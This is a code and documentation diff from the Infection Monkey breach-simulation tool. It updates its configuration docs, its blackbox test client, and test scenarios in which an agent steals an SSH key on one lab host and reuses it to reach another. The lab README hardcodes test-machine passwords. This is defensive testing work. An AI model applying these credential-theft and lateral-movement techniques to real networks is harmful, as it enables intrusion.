* Scanner IP/subnet list - Which specific IP ranges should the Infection Monkey should try to attack?

View File

@ -16,9 +16,9 @@ where bad actors can reuse these credentials in your network.
## Configuration
- **Exploits -> Credentials** After setting up the Monkey Island, add your users' **real** credentials
- **Propagation -> Credentials** After setting up the Monkey Island, add your users' **real** credentials
(usernames and passwords) here. Don't worry; this sensitive data is not accessible, distributed or used in any way other than being sent to the Infection Monkey agents. You can easily eliminate it by resetting the configuration of your Monkey Island.
- **Internal -> Exploits -> SSH keypair list** When enabled, the Infection Monkey automatically gathers SSH keys on the current system.
- **Propagation -> Credentials -> SSH key pairs list** When enabled, the Infection Monkey automatically gathers SSH keys on the current system.
For this to work, the Monkey Island or initial agent needs to access SSH key files.
To make sure SSH keys were gathered successfully, refresh the page and check this configuration value after you run the Infection Monkey
(content of keys will not be displayed, it will appear as `<Object>`).

View File

@ -15,17 +15,14 @@ Infection Monkey will help you assess the impact of a future breach by attemptin
## Configuration
- **Exploits -> Exploits** Here you can review the exploits the Infection Monkey will be using. By default all
- **Propagation -> Exploiters** Here you can review the exploits the Infection Monkey will be using. By default all
safe exploiters are selected.
- **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
- **Network -> Scope** Make sure to properly configure the scope of the scan. You can select **Local network scan**
- **Propagation -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
- **Propagation -> Network analysis -> Network** Make sure to properly configure the scope of the scan. You can select **Scan Agent's networks**
and allow Monkey to propagate until maximum **Scan depth**(hop count) is reached, or you can fine tune it by providing
specific network ranges in **Scan target list**. Scanning a local network is more realistic, but providing specific
targets will make the scanning process substantially faster.
- **(Optional) Internal -> Network -> TCP scanner** Here you can add custom ports your organization is using.
- **(Optional) Monkey -> Post-Breach Actions** If you only want to test propagation in the network, you can turn off
all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system but in no
way helps the Infection Monkey exploit new machines.
- **(Optional) Propagation -> Network Analysis -> TCP scanner** Here you can add custom ports your organization is using.
![Exploiter selector](/images/usage/use-cases/network-breach.PNG "Exploiter selector")

View File

@ -17,11 +17,10 @@ You can use the Infection Monkey's cross-segment traffic feature to verify that
## Configuration
- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
- **Propagation -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
subnets that should be segregated from each other. If any of the provided networks can reach each other, you'll see it
in the security report.
- **(Optional) Network -> Scope** You can disable **Local network scan** and leave all other options at the default setting if you only want to test for network segmentation without any lateral movement.
- **(Optional) Monkey -> Post-Breach Actions** If you only want to test segmentation in the network, you can turn off all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system, so they might trigger your defense solutions and interrupt the segmentation test.
- **(Optional) Propagation -> Network analysis -> Network** You can disable **Scan Agent's networks** and leave all other options at the default setting if you only want to test for network segmentation without any lateral movement.
## Suggested run mode

View File

@ -9,37 +9,26 @@ weight: 100
## Overview
This page provides additional information about configuring the Infection Monkey, tips and tricks and creative usage scenarios.
## Custom behavior
If you want the Infection Monkey to run a specific script or tool after it breaches a machine, you can configure it in
**Configuration -> Monkey -> Post-breach**. Input commands you want to execute in the corresponding fields.
You can also upload files and call them through the commands you entered.
## Accelerate the test
To improve scanning speed you could **specify a subnet instead of scanning all of the local network**.
The following configuration values also have an impact on scanning speed:
- **Credentials** - The more usernames and passwords you input, the longer it will take the Infection Monkey to scan machines that have
- **Propagation -> Credentials** - The more usernames and passwords you input, the longer it will take the Infection Monkey to scan machines that have
remote access services. The Infection Monkey agents try to stay elusive and leave a low impact, and thus brute-forcing takes longer than with loud conventional tools.
- **Network scope** - Scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your
- **Propagation -> Network analysis -> Network** - Scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your
networks bit by bit with multiple runs.
- **Post-breach actions** - If you only care about propagation, you can disable most of these.
- **Internal -> TCP scanner** - Here you can trim down the list of ports the Infection Monkey tries to scan, improving performance.
- **Propagation -> Network analysis -> TCP scanner** - Here you can trim down the list of ports the Infection Monkey tries to scan, improving performance.
## Combining different scenarios
The Infection Monkey is not limited to the scenarios mentioned in this section. Once you get the hang of configuring it, you might come up with your own use case or test all of the suggested scenarios at the same time! Whatever you do, the Infection Monkey's Security, ATT&CK and Zero Trust reports will be waiting for you with your results!
## Persistent scanning
Use **Monkey -> Persistent** scanning configuration section to either run periodic scans or increase the reliability of exploitations by running consecutive scans with the Infection Monkey.
## Credentials
Every network has its old "skeleton keys" that it should have long discarded. Configuring the Infection Monkey with old and stale passwords will enable you to ensure they were really discarded.
To add the old passwords, go to the Monkey Island's **Exploit password list** under **Basic - Credentials** and use the "+" button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration:
To add the old passwords, go to the Monkey Island's **Exploit password list** under **Propagation -> Credentials** and use the "+" button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration:
![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")

View File

@ -13,9 +13,9 @@ Want to assess your progress in achieving a Zero Trust network? The Infection Mo
## Configuration
- **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
- **Network -> Scope** Disable “Local network scan” and instead provide specific network ranges in the “Scan target list.”
- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
- **Propagation -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
- **Propagation -> Network analysis -> Network** Disable “Scan Agent's networks” and instead provide specific network ranges in the “Scan target list.”
- **Propagation -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
subnets that should be segregated from each other.
In general, other configuration value defaults should be good enough, but feel free to see the “Other” section for tips and tricks about more features and in-depth configuration parameters you can use.

View File

@ -1,4 +1,5 @@
from typing import Iterable
from ipaddress import IPv4Address
from typing import Collection, Iterable
from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer
from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog
@ -13,15 +14,22 @@ class CommunicationAnalyzer(Analyzer):
def analyze_test_results(self):
self.log.clear()
all_monkeys_communicated = True
for machine_ip in self.machine_ips:
if not self.did_monkey_communicate_back(machine_ip):
self.log.add_entry("Monkey from {} didn't communicate back".format(machine_ip))
all_monkeys_communicated = False
else:
self.log.add_entry("Monkey from {} communicated back".format(machine_ip))
return all_monkeys_communicated
all_agents_communicated = True
agent_ips = self._get_agent_ips()
def did_monkey_communicate_back(self, machine_ip: str):
query = {"ip_addresses": {"$elemMatch": {"$eq": machine_ip}}}
return len(self.island_client.find_monkeys_in_db(query)) > 0
for machine_ip in self.machine_ips:
if self._agent_communicated_back(machine_ip, agent_ips):
self.log.add_entry("Agent from {} communicated back".format(machine_ip))
else:
self.log.add_entry("Agent from {} didn't communicate back".format(machine_ip))
all_agents_communicated = False
return all_agents_communicated
def _get_agent_ips(self) -> Collection[IPv4Address]:
agents = self.island_client.get_agents()
machines = self.island_client.get_machines()
return {i.ip for a in agents for i in machines[a.machine_id].network_interfaces}
def _agent_communicated_back(self, machine_ip: str, agent_ips: Collection[IPv4Address]) -> bool:
return IPv4Address(machine_ip) in agent_ips

View File

@ -18,12 +18,6 @@ def pytest_addoption(parser):
default=False,
help="Use for no interaction with the cloud.",
)
parser.addoption(
"--skip-powershell-reuse",
action="store_true",
default=False,
help="Use to run PowerShell credentials reuse test.",
)
@pytest.fixture(scope="session")
@ -48,13 +42,3 @@ def gcp_machines_to_start(request: pytest.FixtureRequest) -> Mapping[str, Collec
machines_to_start.setdefault(zone, set()).update(machines)
return machines_to_start
def pytest_runtest_setup(item):
if "skip_powershell_reuse" in item.keywords and item.config.getoption(
"--skip-powershell-reuse"
):
pytest.skip(
"Skipping powershell credentials reuse test because "
"--skip-powershell-cached flag isn't specified."
)

View File

@ -15,10 +15,14 @@ GCP_TEST_MACHINE_LIST = {
"zerologon-25",
],
"europe-west1-b": [
"powershell-3-44",
"powershell-3-45",
"powershell-3-46",
"powershell-3-47",
"powershell-3-48",
"credentials-reuse-14",
"credentials-reuse-15",
"credentials-reuse-16",
"log4j-logstash-55",
"log4j-logstash-56",
"log4j-solr-49",
@ -32,7 +36,11 @@ DEPTH_2_A = {
"europe-west3-a": [
"sshkeys-11",
"sshkeys-12",
]
],
"europe-west1-b": [
"powershell-3-46",
"powershell-3-44",
],
}
@ -57,7 +65,6 @@ DEPTH_3_A = {
],
"europe-west1-b": [
"powershell-3-45",
"powershell-3-46",
"powershell-3-47",
"powershell-3-48",
],
@ -72,19 +79,20 @@ DEPTH_4_A = {
],
}
POWERSHELL_EXPLOITER_REUSE = {
"europe-west1-b": [
"powershell-3-46",
]
}
ZEROLOGON = {
"europe-west3-a": [
"zerologon-25",
],
}
CREDENTIALS_REUSE_SSH_KEY = {
"europe-west1-b": [
"credentials-reuse-14",
"credentials-reuse-15",
"credentials-reuse-16",
],
}
WMI_AND_MIMIKATZ = {
"europe-west3-a": [
"mimikatz-14",
@ -99,8 +107,8 @@ GCP_SINGLE_TEST_LIST = {
"test_depth_1_a": DEPTH_1_A,
"test_depth_3_a": DEPTH_3_A,
"test_depth_4_a": DEPTH_4_A,
"test_powershell_exploiter_credentials_reuse": POWERSHELL_EXPLOITER_REUSE,
"test_zerologon_exploiter": ZEROLOGON,
"test_credentials_reuse_ssh_key": CREDENTIALS_REUSE_SSH_KEY,
"test_wmi_and_mimikatz_exploiters": WMI_AND_MIMIKATZ,
"test_smb_pth": SMB_PTH,
}

View File

@ -1,18 +1,21 @@
import json
import logging
import time
from typing import List, Sequence, Union
from typing import List, Mapping, Sequence, Union
from bson import json_util
from common.credentials import Credentials
from common.types import AgentID, MachineID
from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests
from envs.monkey_zoo.blackbox.test_configurations.test_configuration import TestConfiguration
from monkey_island.cc.models import Agent, Machine
SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5
MONKEY_TEST_ENDPOINT = "api/test/monkey"
GET_AGENTS_ENDPOINT = "api/agents"
GET_LOG_ENDPOINT = "api/agent-logs"
GET_MACHINES_ENDPOINT = "api/machines"
TELEMETRY_TEST_ENDPOINT = "api/test/telemetry"
LOG_TEST_ENDPOINT = "api/test/log"
LOGGER = logging.getLogger(__name__)
@ -88,8 +91,9 @@ class MonkeyIslandClient(object):
@avoid_race_condition
def kill_all_monkeys(self):
# TODO change this request, because monkey-control resource got removed
response = self.requests.post_json(
"api/monkey-control/stop-all-agents", json={"kill_time": time.time()}
"api/agent-signals/terminate-all-agents", json={"terminate_time": time.time()}
)
if response.ok:
LOGGER.info("Killing all monkeys after the test.")
@ -134,14 +138,6 @@ class MonkeyIslandClient(object):
LOGGER.error("Failed to reset island mode")
assert False
def find_monkeys_in_db(self, query):
if query is None:
raise TypeError
response = self.requests.get(
MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
)
return MonkeyIslandClient.get_test_query_results(response)
def find_telems_in_db(self, query: dict):
if query is None:
raise TypeError
@ -150,17 +146,21 @@ class MonkeyIslandClient(object):
)
return MonkeyIslandClient.get_test_query_results(response)
def get_all_monkeys_from_db(self):
response = self.requests.get(
MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(None)
)
return MonkeyIslandClient.get_test_query_results(response)
def get_agents(self) -> Sequence[Agent]:
response = self.requests.get(GET_AGENTS_ENDPOINT)
def find_log_in_db(self, query):
response = self.requests.get(
LOG_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
)
return MonkeyIslandClient.get_test_query_results(response)
return [Agent(**a) for a in response.json()]
def get_machines(self) -> Mapping[MachineID, Machine]:
response = self.requests.get(GET_MACHINES_ENDPOINT)
machines = (Machine(**m) for m in response.json())
return {m.id: m for m in machines}
def get_agent_log(self, agent_id: AgentID) -> str:
response = self.requests.get(f"{GET_LOG_ENDPOINT}/{agent_id}")
return response.json()
@staticmethod
def form_find_query_for_request(query: Union[dict, None]) -> dict:
@ -171,5 +171,5 @@ class MonkeyIslandClient(object):
return json.loads(response.content)["results"]
def is_all_monkeys_dead(self):
query = {"dead": False}
return len(self.find_monkeys_in_db(query)) == 0
agents = self.get_agents()
return all((a.stop_time is not None for a in agents))

View File

@ -1,38 +0,0 @@
import logging
import os
from bson import ObjectId
LOGGER = logging.getLogger(__name__)
class MonkeyLog(object):
def __init__(self, monkey, log_dir_path):
self.monkey = monkey
self.log_dir_path = log_dir_path
def download_log(self, island_client):
log = island_client.find_log_in_db({"monkey_id": ObjectId(self.monkey["_id"])})
if not log:
LOGGER.error("Log for monkey {} not found".format(self.monkey["ip_addresses"][0]))
return False
else:
self.write_log_to_file(log)
return True
def write_log_to_file(self, log):
with open(self.get_log_path_for_monkey(self.monkey), "w") as log_file:
log_file.write(MonkeyLog.parse_log(log))
@staticmethod
def parse_log(log):
log = log.strip('"')
log = log.replace("\\n", "\n ")
return log
@staticmethod
def get_filename_for_monkey_log(monkey):
return "{}.txt".format(monkey["ip_addresses"][0])
def get_log_path_for_monkey(self, monkey):
return os.path.join(self.log_dir_path, MonkeyLog.get_filename_for_monkey_log(monkey))

View File

@ -1,25 +1,65 @@
import logging
from pathlib import Path
from threading import Thread
from typing import List, Mapping
from envs.monkey_zoo.blackbox.log_handlers.monkey_log import MonkeyLog
from common.types import MachineID
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
from monkey_island.cc.models import Agent, Machine
LOGGER = logging.getLogger(__name__)
class MonkeyLogsDownloader(object):
def __init__(self, island_client, log_dir_path):
def __init__(self, island_client: MonkeyIslandClient, log_dir_path: str):
self.island_client = island_client
self.log_dir_path = log_dir_path
self.monkey_log_paths = []
self.log_dir_path = Path(log_dir_path)
self.monkey_log_paths: List[Path] = []
def download_monkey_logs(self):
try:
LOGGER.info("Downloading each monkey log.")
all_monkeys = self.island_client.get_all_monkeys_from_db()
for monkey in all_monkeys:
downloaded_log_path = self._download_monkey_log(monkey)
if downloaded_log_path:
self.monkey_log_paths.append(downloaded_log_path)
def _download_monkey_log(self, monkey):
log_handler = MonkeyLog(monkey, self.log_dir_path)
download_successful = log_handler.download_log(self.island_client)
return log_handler.get_log_path_for_monkey(monkey) if download_successful else None
agents = self.island_client.get_agents()
machines = self.island_client.get_machines()
download_threads: List[Thread] = []
# TODO: Does downloading logs concurrently still improve performance after resolving
# https://github.com/guardicore/monkey/issues/2383?
for agent in agents:
t = Thread(target=self._download_log, args=(agent, machines), daemon=True)
t.start()
download_threads.append(t)
for thread in download_threads:
thread.join()
except Exception as err:
LOGGER.exception(err)
def _download_log(self, agent: Agent, machines: Mapping[MachineID, Machine]):
log_file_path = self._get_log_file_path(agent, machines)
log_contents = self.island_client.get_agent_log(agent.id)
MonkeyLogsDownloader._write_log_to_file(log_file_path, log_contents)
self.monkey_log_paths.append(log_file_path)
def _get_log_file_path(self, agent: Agent, machines: Mapping[MachineID, Machine]) -> Path:
try:
machine_ip = machines[agent.machine_id].network_interfaces[0].ip
except IndexError:
LOGGER.error(f"Machine with ID {agent.machine_id} has no network interfaces")
machine_ip = "UNKNOWN"
start_time = agent.start_time.strftime("%Y-%m-%d_%H-%M-%S")
return self.log_dir_path / f"agent_{start_time}_{machine_ip}.log"
@staticmethod
def _write_log_to_file(log_file_path: Path, log_contents: str):
LOGGER.debug(f"Writing {len(log_contents)} bytes to {log_file_path}")
with open(log_file_path, "w") as f:
f.write(log_contents)

View File

@ -10,11 +10,11 @@ from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIs
from envs.monkey_zoo.blackbox.island_client.test_configuration_parser import get_target_ips
from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler
from envs.monkey_zoo.blackbox.test_configurations import (
credentials_reuse_ssh_key_test_configuration,
depth_1_a_test_configuration,
depth_2_a_test_configuration,
depth_3_a_test_configuration,
depth_4_a_test_configuration,
powershell_credentials_reuse_test_configuration,
smb_pth_test_configuration,
wmi_mimikatz_test_configuration,
zerologon_test_configuration,
@ -129,15 +129,6 @@ class TestMonkeyBlackbox:
island_client, depth_4_a_test_configuration, "Depth4A test suite"
)
# Not grouped because can only be ran on windows
@pytest.mark.skip_powershell_reuse
def test_powershell_exploiter_credentials_reuse(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(
island_client,
powershell_credentials_reuse_test_configuration,
"PowerShell_Remoting_exploiter_credentials_reuse",
)
# Not grouped because it's slow
def test_zerologon_exploiter(self, island_client):
test_name = "Zerologon_exploiter"
@ -163,6 +154,11 @@ class TestMonkeyBlackbox:
log_handler=log_handler,
).run()
def test_credentials_reuse_ssh_key(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(
island_client, credentials_reuse_ssh_key_test_configuration, "Credentials_Reuse_SSH_Key"
)
# Not grouped because conflicts with SMB.
# Consider grouping when more depth 1 exploiters collide with group depth_1_a
def test_wmi_and_mimikatz_exploiters(self, island_client):

View File

@ -3,7 +3,7 @@ from .depth_1_a import depth_1_a_test_configuration
from .depth_2_a import depth_2_a_test_configuration
from .depth_3_a import depth_3_a_test_configuration
from .depth_4_a import depth_4_a_test_configuration
from .powershell_credentials_reuse import powershell_credentials_reuse_test_configuration
from .smb_pth import smb_pth_test_configuration
from .wmi_mimikatz import wmi_mimikatz_test_configuration
from .zerologon import zerologon_test_configuration
from .credentials_reuse_ssh_key import credentials_reuse_ssh_key_test_configuration

View File

@ -0,0 +1,71 @@
import dataclasses
from common.agent_configuration import AgentConfiguration, PluginConfiguration
from common.credentials import Credentials, Password, Username
from .noop import noop_test_configuration
from .utils import (
add_credential_collectors,
add_exploiters,
add_subnets,
add_tcp_ports,
replace_agent_configuration,
replace_propagation_credentials,
set_keep_tunnel_open_time,
set_maximum_depth,
)
# Tests:
# SSHCollector steals key from machine A(10.2.3.14),
# then B(10.2.4.15) exploits C(10.2.5.16) with that key
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
brute_force = [
PluginConfiguration(name="SSHExploiter", options={}),
]
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
subnets = ["10.2.3.14", "10.2.4.15", "10.2.5.16"]
return add_subnets(agent_configuration, subnets)
def _add_credential_collectors(agent_configuration: AgentConfiguration) -> AgentConfiguration:
credential_collectors = [
PluginConfiguration(name="SSHCollector", options={}),
]
return add_credential_collectors(
agent_configuration, credential_collectors=credential_collectors
)
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
ports = [22]
return add_tcp_ports(agent_configuration, ports)
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 3)
test_agent_configuration = set_keep_tunnel_open_time(test_agent_configuration, 20)
test_agent_configuration = _add_exploiters(test_agent_configuration)
test_agent_configuration = _add_subnets(test_agent_configuration)
test_agent_configuration = _add_credential_collectors(test_agent_configuration)
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
CREDENTIALS = (
Credentials(identity=Username(username="m0nk3y"), secret=None),
Credentials(identity=None, secret=Password(password="u26gbVQe")),
Credentials(identity=None, secret=Password(password="5BuYHeVl")),
)
credentials_reuse_ssh_key_test_configuration = dataclasses.replace(noop_test_configuration)
replace_agent_configuration(
test_configuration=credentials_reuse_ssh_key_test_configuration,
agent_configuration=test_agent_configuration,
)
replace_propagation_credentials(
test_configuration=credentials_reuse_ssh_key_test_configuration,
propagation_credentials=CREDENTIALS,
)

View File

@ -6,6 +6,8 @@ from common.credentials import Credentials, Password, Username
from .noop import noop_test_configuration
from .utils import (
add_exploiters,
add_fingerprinters,
add_http_ports,
add_subnets,
add_tcp_ports,
replace_agent_configuration,
@ -16,30 +18,50 @@ from .utils import (
# Tests:
# SSH password and key brute-force, key stealing (10.2.2.11, 10.2.2.12)
# Powershell credential reuse (logging in without credentials
# to an identical user on another machine)(10.2.3.44, 10.2.3.46)
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
brute_force = [
PluginConfiguration(name="SSHExploiter", options={}),
PluginConfiguration(name="PowerShellExploiter", options={}),
]
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
vulnerability = [
PluginConfiguration(name="Log4ShellExploiter", options={}),
]
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=vulnerability)
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
subnets = [
"10.2.2.11",
"10.2.2.12",
"10.2.3.44",
"10.2.3.46",
]
return add_subnets(agent_configuration, subnets)
def _add_fingerprinters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
fingerprinters = [PluginConfiguration(name="http", options={})]
return add_fingerprinters(agent_configuration, fingerprinters)
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
ports = [22]
ports = [22, 5985, 5986, 8080]
return add_tcp_ports(agent_configuration, ports)
def _add_http_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
return add_http_ports(agent_configuration, [8080])
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 2)
test_agent_configuration = _add_exploiters(test_agent_configuration)
test_agent_configuration = _add_subnets(test_agent_configuration)
test_agent_configuration = _add_fingerprinters(test_agent_configuration)
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
test_agent_configuration = _add_http_ports(test_agent_configuration)
CREDENTIALS = (
Credentials(identity=Username(username="m0nk3y"), secret=None),

View File

@ -34,7 +34,6 @@ def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
subnets = [
"10.2.2.9",
"10.2.3.45",
"10.2.3.46",
"10.2.3.47",
"10.2.3.48",
"10.2.1.10",

View File

@ -22,7 +22,7 @@ _custom_pba_configuration = CustomPBAConfiguration(
_tcp_scan_configuration = TCPScanConfiguration(timeout=3.0, ports=[])
_icmp_scan_configuration = ICMPScanConfiguration(timeout=1.0)
_scan_target_configuration = ScanTargetConfiguration(
blocked_ips=[], inaccessible_subnets=[], local_network_scan=False, subnets=[]
blocked_ips=[], inaccessible_subnets=[], scan_my_networks=False, subnets=[]
)
_network_scan_configuration = NetworkScanConfiguration(
tcp=_tcp_scan_configuration,

View File

@ -1,44 +0,0 @@
import dataclasses
from common.agent_configuration import AgentConfiguration, PluginConfiguration
from .noop import noop_test_configuration
from .utils import (
add_exploiters,
add_subnets,
add_tcp_ports,
replace_agent_configuration,
set_maximum_depth,
)
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
brute_force = [
PluginConfiguration(name="PowerShellExploiter", options={}),
]
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
subnets = [
"10.2.3.46",
]
return add_subnets(agent_configuration, subnets)
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
ports = [5985, 5986]
return add_tcp_ports(agent_configuration, ports)
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 1)
test_agent_configuration = _add_exploiters(test_agent_configuration)
test_agent_configuration = _add_subnets(test_agent_configuration)
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
powershell_credentials_reuse_test_configuration = dataclasses.replace(noop_test_configuration)
replace_agent_configuration(
test_configuration=powershell_credentials_reuse_test_configuration,
agent_configuration=test_agent_configuration,
)

View File

@ -28,6 +28,9 @@ This document describes Infection Monkeys test network, how to deploy and use
[Nr. 3-46 Powershell](#_Toc536021480)<br>
[Nr. 3-47 Powershell](#_Toc536021481)<br>
[Nr. 3-48 Powershell](#_Toc536021482)<br>
[Nr. 14 Credentials Reuse](#_Toc536121480)<br>
[Nr. 15 Credentials Reuse](#_Toc536121481)<br>
[Nr. 16 Credentials Reuse](#_Toc536121482)<br>
[Nr. 3-49 Log4j Solr](#_Toc536021483)<br>
[Nr. 3-50 Log4j Solr](#_Toc536021484)<br>
[Nr. 3-51 Log4j Tomcat](#_Toc536021485)<br>
@ -756,6 +759,38 @@ This prevents ssh exploitation, but allows tunneling.</td>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021479" class="anchor"></span>Nr. <strong>3-44 Powershell</strong></p>
<p>(10.2.3.44)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Windows Server 2016 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>WinRM service</td>
</tr>
<tr class="odd">
<td>Default servers port: 5985, 5986</td>
<td>-</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: nPj8rbc3<br>
Accessible using the same m0nk3y user from powershell-3-46,
in other words powershell exploiter can exploit
this machine without credentials as long as the user running the agent has
the same credentials on both machines</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
@ -801,17 +836,17 @@ Accessibale through Island using m0nk3y-user.</td>
<tr class="even">
<td>Software:</td>
<td>WinRM service</td>
<td>Tomcat 8.0.36</td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>Default servers port:8080</td>
<td>-</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: nPj8rbc3<br>
Accessible using the same m0nk3y user from island, in other words powershell exploiter can exploit
this machine without credentials as long as the user running the agent is the same on both
machines</td>
Exploited from island via log4shell(tomcat). Then uses cached powershell credentials to
propagate to powershell-3-44</td>
</tr>
</tbody>
</table>
@ -874,6 +909,120 @@ Accessiable only through <strong>3-45 Powershell</strong> using credentials reus
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536121480" class="anchor"></span>Nr. <strong>14</strong> Credentials Reuse</p>
<p>(10.2.3.14, 10.2.4.14)</p></th>
<th>(Exploitable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>OpenSSL</td>
</tr>
<tr class="odd">
<td>Default services port:</td>
<td>22</td>
</tr>
<tr class="even">
<td>Credentials:</td>
<td>m0nk3y:u26gbVQe</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>VPC network that can only access Credentials Reuse 15 and Island.</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible from the Island with password authentication</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536121481" class="anchor"></span>Nr. <strong>15</strong> Credentials Reuse</p>
<p>(10.2.4.15, 10.2.5.15)</p></th>
<th>(Exploitable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>OpenSSL</td>
</tr>
<tr class="odd">
<td>Default services port:</td>
<td>22</td>
</tr>
<tr class="even">
<td>Credentials:</td>
<td>m0nk3y:5BuYHeVl</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>VPC network that can be only accessed by Credentials Reuse 14 and communicate to<br>
Credentials Reuse 16.
</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible from the Credentials Reuse 14 with password authentication</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536121482" class="anchor"></span>Nr. <strong>16</strong> Credentials Reuse</p>
<p>(10.2.3.16, 10.2.5.16)</p></th>
<th>(Exploitable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>OpenSSL</td>
</tr>
<tr class="odd">
<td>Default services port:</td>
<td>22</td>
</tr>
<tr class="even">
<td>Credentials:</td>
<td>m0nk3y:lIZl6vTR</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>VPC network that can be only accessed by Credentials Reuse 15 and communicate to<br>
the Island.
</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible from the Credentials Reuse 15 with passwordless ssh key authentication.<br>
We use the ssh key that was stolen from Credentials Reuse 16</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

View File

@ -0,0 +1 @@
